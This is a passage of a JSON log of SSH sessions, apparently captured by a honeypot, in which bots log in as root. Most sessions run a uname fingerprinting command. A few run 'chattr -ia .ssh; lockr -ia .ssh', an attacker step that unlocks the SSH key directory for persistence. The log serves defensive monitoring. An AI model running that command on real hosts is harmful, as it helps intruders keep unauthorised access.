  "transcript_bytes": 864
 },
 {
  "id": "b7b8ef9b-d69f-4571-ba28-4dda02e84b8a",
  "name": "murky-flinty-bittern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 43670,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:12:44.331606+00:00",
  "ended_at": "2026-08-27T02:12:46.059037+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d9693e5b-4fea-4dc2-a151-70d0c56fcc97",
  "name": "hushed-jolly-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42122,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 215,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:12:12.934107+00:00",
  "ended_at": "2026-08-27T02:12:17.000524+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "682af7d8-4036-4134-9447-7f7011698804",
  "name": "lively-ashen-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42088,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 356,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:11:55.102447+00:00",
  "ended_at": "2026-08-27T02:12:00.111722+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "37dd0f25-49d2-4e5e-8183-aa6dd91681a5",
  "name": "marbled-mighty-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53888,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 238,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:11:35.902468+00:00",
  "ended_at": "2026-08-27T02:11:40.867072+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "25174dba-064a-4806-aae1-e48164d98701",
  "name": "mellow-granite-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52876,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 204,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:11:14.165628+00:00",
  "ended_at": "2026-08-27T02:11:15.370766+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d3c3677a-c653-4175-bcd1-3b05cf53961d",
  "name": "drifting-golden-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52788,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:11:04.479331+00:00",
  "ended_at": "2026-08-27T02:11:05.976523+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ec55565d-38c3-4db7-9536-e5279c5a61d2",
  "name": "supple-orderly-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54446,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 237,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:11:00.796449+00:00",
  "ended_at": "2026-08-27T02:11:01.950019+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ab6d2059-8c9a-4e03-b365-75238c7161e6",
  "name": "lunar-patient-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44354,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:09:56.272576+00:00",
  "ended_at": "2026-08-27T02:09:57.537066+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bad1214e-b58f-44c6-9deb-441a45d8d508",
  "name": "dapper-tender-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57392,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 244,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:09:25.322306+00:00",
  "ended_at": "2026-08-27T02:09:25.441268+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1809cd37-813c-4a42-b8d2-97ea5723a3a8",
  "name": "cheerful-quartz-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52538,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 344,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:09:14.723829+00:00",
  "ended_at": "2026-08-27T02:09:14.882053+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4f59cc70-e120-4547-be12-10506810ced6",
  "name": "nameless-restless-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43656,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 233,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:08:40.392338+00:00",
  "ended_at": "2026-08-27T02:08:45.845270+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ac783e88-843c-41c1-aa08-14eccdb0923a",
  "name": "jagged-regal-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45802,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 309,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:08:28.731522+00:00",
  "ended_at": "2026-08-27T02:08:32.829956+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "703a339b-fbd1-4612-9c32-aa057b8cabe9",
  "name": "fearless-kindly-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41074,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 285,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:08:20.496314+00:00",
  "ended_at": "2026-08-27T02:08:23.865057+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "19156d51-f5e7-41b4-a2d2-bc739e72e2a0",
  "name": "subtle-honest-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37502,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 212,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:07:41.975012+00:00",
  "ended_at": "2026-08-27T02:07:47.283165+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0ba5ce5e-40fc-4bae-9f74-d3fbc6ebd0e1",
  "name": "stoic-pleasant-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 48682,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 245,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:07:24.950551+00:00",
  "ended_at": "2026-08-27T02:07:30.815341+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d0fed7b6-fccf-4823-86bb-904ddf8da366",
  "name": "lucid-merry-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40588,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 292,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:07:18.261632+00:00",
  "ended_at": "2026-08-27T02:07:22.067798+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "aaa63a3c-45dc-4f2e-9627-a391bc24b719",
  "name": "drifting-shaded-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33698,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 244,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:07:03.784262+00:00",
  "ended_at": "2026-08-27T02:07:07.624002+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4afef829-2b68-4dc3-bdec-b31e8edf5992",
  "name": "grassy-clever-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37556,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 299,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:06:44.037273+00:00",
  "ended_at": "2026-08-27T02:06:47.512065+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f5a87a7b-c84e-463a-a2d3-92e8a21505bb",
  "name": "indigo-peaty-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 49162,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 348,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:06:19.041503+00:00",
  "ended_at": "2026-08-27T02:06:23.346544+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "017c8818-722e-4aa5-ab5e-0df182515342",
  "name": "eager-calm-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54318,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 250,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:06:18.153402+00:00",
  "ended_at": "2026-08-27T02:06:24.241878+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4673a1fc-3159-48c3-be7b-da1a3d7f1363",
  "name": "spirited-flinty-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33014,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 415,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:05:53.400540+00:00",
  "ended_at": "2026-08-27T02:05:56.991292+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a0fdcefd-ac51-444e-ae12-c65e6cba73fa",
  "name": "scarlet-lunar-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34022,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 374,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:05:50.545540+00:00",
  "ended_at": "2026-08-27T02:05:54.016403+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "017964d3-fb54-4eca-bb64-25ca261ec98a",
  "name": "muted-jolly-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47506,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 280,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:05:25.378170+00:00",
  "ended_at": "2026-08-27T02:05:28.416771+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ce13f9a3-7eae-4ef7-8765-117da1497666",
  "name": "keen-plush-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34642,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 320,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:05:15.441252+00:00",
  "ended_at": "2026-08-27T02:05:18.825165+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b32f38a9-d00f-4171-91b4-402248037267",
  "name": "sullen-crystal-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 58160,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 258,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:05:14.217780+00:00",
  "ended_at": "2026-08-27T02:05:19.433299+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cf595a15-00bb-436e-aaa4-53236e7effcb",
  "name": "autumn-kindly-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 59708,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 404,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:05:03.283705+00:00",
  "ended_at": "2026-08-27T02:05:06.560275+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f6643ef6-9d0a-4205-9593-043ad3dce771",
  "name": "frosty-restless-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 35164,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 259,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:04:42.827108+00:00",
  "ended_at": "2026-08-27T02:04:47.641000+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4c417fc8-768e-40ac-a4c5-9764dd9ae82c",
  "name": "upland-jovial-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57880,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:04:26.308576+00:00",
  "ended_at": "2026-08-27T02:04:32.275395+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6e58ca76-4347-49b3-8151-87f08588d70c",
  "name": "feathered-coral-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47926,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:04:09.908742+00:00",
  "ended_at": "2026-08-27T02:04:15.159190+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e02bf71a-e056-441e-ae0f-a29b89a0486e",
  "name": "civil-stoic-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38704,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 343,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:03:44.744146+00:00",
  "ended_at": "2026-08-27T02:03:47.583174+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "826cfb96-524c-41e6-b136-2abaf21591fa",
  "name": "windswept-brazen-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38632,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 334,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:03:43.996332+00:00",
  "ended_at": "2026-08-27T02:03:48.554366+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "57779227-83e8-43a5-81d7-75cd3369efbb",
  "name": "glacial-hearty-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 46424,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 560,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T02:03:29.032587+00:00",
  "ended_at": "2026-08-27T02:03:30.102092+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "51f1d0e6-1e0e-4b21-8174-eddca8bd0c6a",
  "name": "patient-hazy-grouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 58894,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:03:08.493707+00:00",
  "ended_at": "2026-08-27T02:03:09.648497+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "95127a14-d71d-4468-a420-dc67c8f32494",
  "name": "shaded-prickly-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40142,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 412,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:02:35.554531+00:00",
  "ended_at": "2026-08-27T02:02:39.505533+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d5e28d21-87ff-4bdd-b2b7-25c5308f2a35",
  "name": "forlorn-subtle-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40066,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:02:27.299160+00:00",
  "ended_at": "2026-08-27T02:02:31.160331+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5ca04aa8-b02b-4a6a-8551-b8bdaf9d0b45",
  "name": "graceful-wooded-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43540,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 258,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:02:14.487020+00:00",
  "ended_at": "2026-08-27T02:02:18.624489+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ce71354a-7431-42c6-9631-683542823b03",
  "name": "rugged-smooth-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37206,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 316,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:01:34.898262+00:00",
  "ended_at": "2026-08-27T02:01:40.415465+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b4a1e4a1-5f85-4274-82f4-073ab2841ed5",
  "name": "upland-bronzed-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55170,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 231,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:01:29.719715+00:00",
  "ended_at": "2026-08-27T02:01:33.715186+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7750ba28-2a15-40c1-910b-06617f818d2f",
  "name": "sincere-wistful-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47570,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:01:10.788159+00:00",
  "ended_at": "2026-08-27T02:01:13.473698+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fe366799-d73f-419c-a197-eeb675f90419",
  "name": "sullen-eager-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 58978,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 376,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:00:40.819730+00:00",
  "ended_at": "2026-08-27T02:00:44.612913+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "86b9f2ba-4002-4f79-b871-453649dc4078",
  "name": "fabled-twilight-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34684,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 212,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:00:33.047393+00:00",
  "ended_at": "2026-08-27T02:00:38.459952+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0185c8d3-eb7b-4524-9f5d-422ea37375a9",
  "name": "patient-hardy-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34632,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 370,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:00:31.234770+00:00",
  "ended_at": "2026-08-27T02:00:36.594076+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9e4d9a36-7e21-4759-885a-bfc6f65a6a2f",
  "name": "hazy-fickle-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45802,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 422,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:00:17.663032+00:00",
  "ended_at": "2026-08-27T02:00:22.254264+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3c91960f-9386-47a0-ac2e-315e750291ea",
  "name": "coral-salty-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 59792,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 543,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T02:00:16.565060+00:00",
  "ended_at": "2026-08-27T02:00:17.631058+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "775de47d-5336-4330-93ee-7977bdb5daf1",
  "name": "icy-plucky-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46114,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 290,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:00:10.074841+00:00",
  "ended_at": "2026-08-27T02:00:16.946484+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "31bed514-eb14-445e-affa-0d150730fd29",
  "name": "regal-ancient-gannet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 59054,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:59:57.823634+00:00",
  "ended_at": "2026-08-27T01:59:58.658719+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7574e25d-272e-4a43-b127-071c40e66c40",
  "name": "kindly-whispering-koala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37244,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 277,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:59:55.777966+00:00",
  "ended_at": "2026-08-27T02:00:01.832915+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f41d070f-1bcd-445a-8085-307013855384",
  "name": "oaken-orderly-bluebird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38744,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 341,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:59:03.883946+00:00",
  "ended_at": "2026-08-27T01:59:07.524611+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7cb5fe0d-f983-43a1-8d4a-f65c1f26d965",
  "name": "prickly-somber-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46670,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 363,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:58:14.784710+00:00",
  "ended_at": "2026-08-27T01:58:20.615723+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3fc49423-a97d-4fe3-8c4d-1d0143cf8476",
  "name": "cobalt-curious-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46654,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 361,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:58:09.100602+00:00",
  "ended_at": "2026-08-27T01:58:14.368083+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
